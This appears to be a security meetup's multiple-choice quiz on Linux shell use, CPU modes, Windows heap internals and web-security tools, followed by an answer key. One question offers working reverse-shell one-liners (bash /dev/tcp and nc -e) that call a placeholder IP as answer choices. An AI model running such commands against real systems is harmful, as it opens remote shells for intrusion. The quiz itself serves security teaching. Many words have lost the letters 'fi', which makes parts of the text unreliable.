Null ahmedabad monthly quiz april 2020 quiz

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Null Ahmedabad Monthly Quiz April 2020
30 Questions
How to go to the last working directory in bash?
a) cd ~ b) cd -
c) cd .. d) cd .
How to run the last used command in bash?
a) ! b) !!
c) !!! d) !!!!
sed in unix is a _______
a) Emotion detector b) Port scanner
c) Text editor d) Image manipulation tool
Default Apache server root directory is ________
a) /opt/http/www b) /opt/www/html
c) /var/html d) /var/www/html
Using which one of these tools, you can NOT get a reverse shell?
a) Netcat b) easy_install
c) php d) chmod

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How to search through your command history?
a) Ctrl + S b) Ctrl + W
c) Ctrl + F d) Ctrl + R
How to run commands that do not appear in command history?
a) Write command in double quotes b) Write command starting with a space
c) Write command in single quotes d) Write command in backticks
How to run vanilla vi when vi is aliased to vim?
a) vi b) vim -vi
c) vi --no-vim d) vi
How to watch a le as it is being modi ed?
a) cat -f le.txt b) le -f le.txt
c) tail -f le.txt d) touch -f le.txt
"cd ~" is equivalent of ________
a) cd / b) cd .
c) cd /home/$USER d) cd ..
In which directory, bash is located?
a) /bin b) /etc
c) /var d) /dev

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Which one of these will not spawn a shell?
a) bash -i >& /dev/tcp/10.10.10.10/1337 0>&1 b) nc -e /bin/sh 10.10.10.10 1337
c) bash -i -c "/bin/sh 10.10.10.10 1337" d) python -c "import pty;pty.spawn('/bin/sh')"
How to create parent directories as needed?
a) mkdir ./parent/child b) mkdir -f ./parent/child
c) mkdir -p ./parent/child d) mkdir -l ./parent/child
How to run a script at startup?
a) By using crontab b) By putting script in ~/.startup/
c) By using chmod d) By using init
Which signal gets sent when you press Ctrl + C?
a) SIGTERM b) SIGSTOP
c) SIGKILL d) SIGINT
Which tool is used to record terminal session and store it in a retrievable format?
a) nano b) sed
c) script d) echo
Which tool allows you to eliminate duplicate values from a list?
a) sort b) uniq
c) xclip d) init

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OS runs in _____ mode
a) Real Mode b) Protected Mode
c) System Managment Mode d) Kernel Mode
Program of _______ mode has highest privilage to access.
a) Real Mode b) Protected Mode
c) System Management Mode d) Kernel Mode
What EAX Value for CPUID is needed to fetch Vendor details
a) 0H b) 01H
c) 02H d) 03H
GDT & LDT tables have index of ___ bits
a) 13 b) 16
c) 32 d) 64
Your processor understands __ segment register while others are reference
a) ES b) DS
c) CS d) GS
Once you free a heap chunk, it goes to ___ list at rst in Windows XP
a) Free List b) Look-aside List
c) Allocator d) BSTR

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Once you free a heap chunk, it goes to ___ list at rst in Windows 10
a) Free List b) BSTR
c) Allocator d) Low Fragmentation Heap
The check for ink and blink pointing to it self while free was implemented in which version of
Windows OS?
a) Windows XP SP1 b) Windows XP SP2
c) Windows XP SP3 d) Windows Vista
Access-Control-Allow-Origin: *, is CORS miscon guration exploitable?
a) Yes b) No
c) In somecases
XXE can't be possible with ____ le type
a) DOC b) PDF
c) EXE
Which Burp extension is used to automate IDOR nding?
a) Turbo Intruder b) Upload Scanner
c) AuthHeader Updater d) AutoRepeater
____ tool is used to automate sql injection attack
a) sqlmap b) burpsuite
c) owasp zap d) nmap

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30. Which one is not tool for forensics and/or incident response on cloud enviornment?
a) AWS IR b) Di y
c) ScoutSuite d) AWS Security Automation

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Answer Key
1. b
2. b
3. c
4. d
5. d
6. d
7. b
8. a
9. c
10. c
11. a
12. c
13. c
14. a
15. d
16. c
17. b
18. b
19. c
20. a
21. a
22. c
23. b
24. d
25. b
26. b
27. c
28. d
29. a
30. c